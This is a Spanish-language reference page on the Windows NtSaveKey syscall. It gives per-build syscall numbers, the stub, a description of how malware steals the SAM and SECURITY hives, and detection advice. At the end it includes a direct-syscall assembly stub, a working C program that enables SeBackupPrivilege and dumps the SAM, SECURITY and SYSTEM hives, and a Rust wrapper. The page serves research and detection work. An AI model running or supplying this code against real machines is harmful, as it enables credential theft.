> Windows Syscalls
ntoskrnl.exeT1003.002T1003.004T1106

NtSaveKey

Escribe una clave de registro viva (con subárbol) a un archivo hive — la cara kernel del robo de SAM/SECURITY.

Prototipo

NTSTATUS NtSaveKey(
  HANDLE  KeyHandle,
  HANDLE  FileHandle
);

Argumentos

NameTypeDirDescription
KeyHandleHANDLEinHandle abierto a la clave fuente (debe tener KEY_QUERY_VALUE; se captura todo el subárbol).
FileHandleHANDLEinHandle abierto al archivo destino (abierto con GENERIC_WRITE sobre un archivo vacío/nuevo).

IDs de syscalls por versión de Windows

Versión de WindowsID de syscallBuild
Win10 15070x167win10-1507
Win10 16070x16Fwin10-1607
Win10 17030x175win10-1703
Win10 17090x178win10-1709
Win10 18030x17Awin10-1803
Win10 18090x17Bwin10-1809
Win10 19030x17Cwin10-1903
Win10 19090x17Cwin10-1909
Win10 20040x182win10-2004
Win10 20H20x182win10-20h2
Win10 21H10x182win10-21h1
Win10 21H20x184win10-21h2
Win10 22H20x184win10-22h2
Win11 21H20x18Cwin11-21h2
Win11 22H20x18Fwin11-22h2
Win11 23H20x18Fwin11-23h2
Win11 24H20x191win11-24h2
Server 20160x16Fwinserver-2016
Server 20190x17Bwinserver-2019
Server 20220x18Awinserver-2022
Server 20250x191winserver-2025

Módulo del kernel

ntoskrnl.exeNtSaveKey

APIs relacionadas

RegSaveKeyWRegSaveKeyExWNtSaveKeyExNtLoadKeyNtRestoreKey

Stub del syscall

4C 8B D1            mov r10, rcx
B8 91 01 00 00      mov eax, 0x191
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

NtSaveKey serializa una clave de registro viva y todo su subárbol a un archivo en formato hive. El archivo producido es un *hive de primera clase*: compatible byte a byte con los archivos SAM, SYSTEM, SECURITY en disco. El llamante debe poseer **SeBackupPrivilege**. NtSaveKey es el original; `NtSaveKeyEx` añade un parámetro flags (`REG_STANDARD_FORMAT` vs `REG_LATEST_FORMAT`). El wrapper Win32 es `RegSaveKeyW` / `RegSaveKeyExW`.

Uso común por malware

Es la **vía canónica sin VSS para robar los hives SAM y SECURITY en vivo**: abrir `HKLM\SAM` y `HKLM\SECURITY` (que requieren acceso SYSTEM o impersonation) y luego NtSaveKey a una ubicación escribible. Los archivos resultantes se procesan con `secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL` (Impacket) o con Mimikatz `lsadump::sam` para recuperar hashes NTLM, master keys DPAPI, credenciales de dominio en caché y secretos LSA — *sin* tener que crear Volume Shadow Copy (muy monitorizada). El comando `reg.py save` de Impacket es exactamente esta primitiva expuesta sobre RemoteRegistry/SMB. SeBackupPrivilege en sí es el bypass — anula los DACL en lectura, haciendo legibles incluso claves explícitamente denegadas al grupo Administradores local.

Oportunidades de detección

Sysmon Event 11 (FileCreate) sobre archivos en formato hive fuera de `%SystemRoot%\System32\config\` es la señal más fiable — combinada con Events 13 / 12 en la apertura de `HKLM\SAM` o `HKLM\SECURITY` justo antes. ETW `Microsoft-Windows-Kernel-Registry` emite eventos save-hive explícitos con clave fuente y ruta destino. El ajuste de SeBackupPrivilege (Sysmon 4673 con `SeBackupPrivilege` en la lista) por un proceso no-backup es de alta señal. Detectar `reg.exe save HKLM\SAM` y equivalentes en PowerShell, y vigilar cualquier escritura por proceso SYSTEM de una cabecera mágica de hive (`regf`) fuera de los directorios config.

Ejemplos de syscalls directos

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtSaveKey (SSN 0x191 on Win11 24H2 — drifts per build)
NtSaveKey PROC
    mov  r10, rcx          ; KeyHandle
    mov  eax, 191h         ; SSN
    syscall
    ret
NtSaveKey ENDP

cLive SAM/SECURITY extraction skeleton

// Dump SAM and SECURITY hives without touching Volume Shadow Copy.
// Requires SYSTEM context AND SeBackupPrivilege enabled.
#include <windows.h>

static BOOL EnableBackupPriv(void) {
    HANDLE tok; TOKEN_PRIVILEGES tp = {0};
    if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES, &tok)) return FALSE;
    LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL ok = AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL)
              && GetLastError() == ERROR_SUCCESS;
    CloseHandle(tok);
    return ok;
}

LONG DumpHive(LPCWSTR root, LPCWSTR outPath) {
    HKEY hKey = NULL;
    LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE, root,
                            REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
    if (s != ERROR_SUCCESS) return s;
    DeleteFileW(outPath);
    s = RegSaveKeyExW(hKey, outPath, NULL, REG_LATEST_FORMAT);
    RegCloseKey(hKey);
    return s;
}

int wmain(void) {
    if (!EnableBackupPriv()) return 1;
    DumpHive(L"SAM",      L"C:\\stage\\SAM.hiv");
    DumpHive(L"SECURITY", L"C:\\stage\\SECURITY.hiv");
    DumpHive(L"SYSTEM",   L"C:\\stage\\SYSTEM.hiv");
    return 0;
}

rustDirect NtSaveKey via ntapi

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["winnt", "handleapi"] }
use ntapi::ntregapi::NtSaveKey;
use winapi::shared::ntdef::{HANDLE, NTSTATUS};

unsafe fn save_hive(key: HANDLE, file: HANDLE) -> NTSTATUS {
    // Caller is expected to have already enabled SeBackupPrivilege
    // and opened `key` with KEY_QUERY_VALUE and `file` with GENERIC_WRITE.
    NtSaveKey(key, file)
}

Mapeos MITRE ATT&CK

Last verified: 2026-05-20